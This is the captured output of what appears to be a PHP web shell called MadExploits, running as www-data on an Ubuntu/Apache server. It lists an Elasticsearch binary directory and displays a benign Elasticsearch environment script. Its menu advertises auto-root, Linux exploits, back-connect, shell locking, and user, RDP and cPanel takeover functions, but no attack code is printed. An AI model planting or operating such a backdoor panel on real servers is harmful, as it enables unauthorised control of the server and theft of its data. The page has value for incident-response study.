Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 104.23.187.75
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
elasticsearch /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
elasticsearch
2.83
KB
-rwxr-xr-x
elasticsearch-certgen
501
B
-rwxr-xr-x
elasticsearch-certutil
493
B
-rwxr-xr-x
elasticsearch-cli
996
B
-rwxr-xr-x
elasticsearch-croneval
443
B
-rwxr-xr-x
elasticsearch-env
5.37
KB
-rwxr-xr-x
elasticsearch-env-from-file
1.79
KB
-rwxr-xr-x
elasticsearch-geoip
168
B
-rwxr-xr-x
elasticsearch-keystore
184
B
-rwxr-xr-x
elasticsearch-migrate
450
B
-rwxr-xr-x
elasticsearch-node
126
B
-rwxr-xr-x
elasticsearch-plugin
172
B
-rwxr-xr-x
elasticsearch-saml-metadata
441
B
-rwxr-xr-x
elasticsearch-service-tokens
439
B
-rwxr-xr-x
elasticsearch-setup-passwords
448
B
-rwxr-xr-x
elasticsearch-shard
118
B
-rwxr-xr-x
elasticsearch-sql-cli
483
B
-rwxr-xr-x
elasticsearch-sql-cli-7.15.1.j...
35.07
MB
-rwxr-xr-x
elasticsearch-syskeygen
436
B
-rwxr-xr-x
elasticsearch-users
436
B
-rwxr-xr-x
systemd-entrypoint
332
B
-rwxr-xr-x
x-pack-env
356
B
-rwxr-xr-x
x-pack-security-env
364
B
-rwxr-xr-x
x-pack-watcher-env
363
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : elasticsearch-env-from-file
#!/bin/bash set -e -o pipefail # Allow environment variables to be set by creating a file with the # contents, and setting an environment variable with the suffix _FILE to # point to it. This can be used to provide secrets to a container, without # the values being specified explicitly when running the container. # # Note that only supported environment variables are processed, in order # to avoid unexpected failures when an environment sets a "*_FILE" variable # that doesn't contain a filename. # # This script is intended to be sourced, not executed, and modifies the # environment. for VAR_NAME_FILE in ELASTIC_PASSWORD_FILE KEYSTORE_PASSWORD_FILE ; do if [[ -n "${!VAR_NAME_FILE}" ]]; then VAR_NAME="${VAR_NAME_FILE%_FILE}" if env | grep "^${VAR_NAME}="; then echo "ERROR: Both $VAR_NAME_FILE and $VAR_NAME are set. These are mutually exclusive." >&2 exit 1 fi if [[ ! -e "${!VAR_NAME_FILE}" ]]; then echo "ERROR: File ${!VAR_NAME_FILE} from $VAR_NAME_FILE does not exist" >&2 exit 1 fi FILE_PERMS="$(stat -L -c '%a' ${!VAR_NAME_FILE})" if [[ "$FILE_PERMS" != "400" && "$FILE_PERMS" != "600" ]]; then if [[ -h "${!VAR_NAME_FILE}" ]]; then echo "ERROR: File $(readlink "${!VAR_NAME_FILE}") (target of symlink ${!VAR_NAME_FILE} from $VAR_NAME_FILE) must have file permissions 400 or 600, but actually has: $FILE_PERMS" >&2 else echo "ERROR: File ${!VAR_NAME_FILE} from $VAR_NAME_FILE must have file permissions 400 or 600, but actually has: $FILE_PERMS" >&2 fi exit 1 fi echo "Setting $VAR_NAME from $VAR_NAME_FILE at ${!VAR_NAME_FILE}" >&2 export "$VAR_NAME"="$(cat ${!VAR_NAME_FILE})" unset VAR_NAME # Unset the suffixed environment variable unset "$VAR_NAME_FILE" fi done
Close